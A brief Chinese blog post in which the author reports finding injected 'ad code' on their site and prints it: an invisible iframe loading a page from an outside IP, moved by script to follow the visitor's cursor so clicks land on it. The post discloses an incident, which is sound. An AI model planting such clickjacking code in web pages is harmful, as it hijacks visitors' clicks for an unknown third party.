学步园

如下是被挂上的广告代码，我不知道那个ip是谁的。这就是今天的事情

<span id="ads" style="position:absolute; left:30; top:40;">

<iframe src="http://250.250.250.250/ac.htm" width=100; height=100 style="filter:alpha(opacity=0); z-index:999" scrolling=no frameBorder=0 ></iframe><br />
<SCRIPT>
	var $=document.getElementById;
	function picwhere(){
		var ad=$("ads");
		ad.style.top=event.clientY + document.body.scrollTop-50;
		ad.style.left=event.clientX + document.body.scrollLeft-50;
	};
	var f=Math.round(Math.random().toString()*3);
		document.getElementsByTagName("body")[0].onmousemove=function(){picwhere()}
		document.getElementsByTagName("body")[0].onmousewheel=function(){picwhere()}
</SCRIPT>
</span>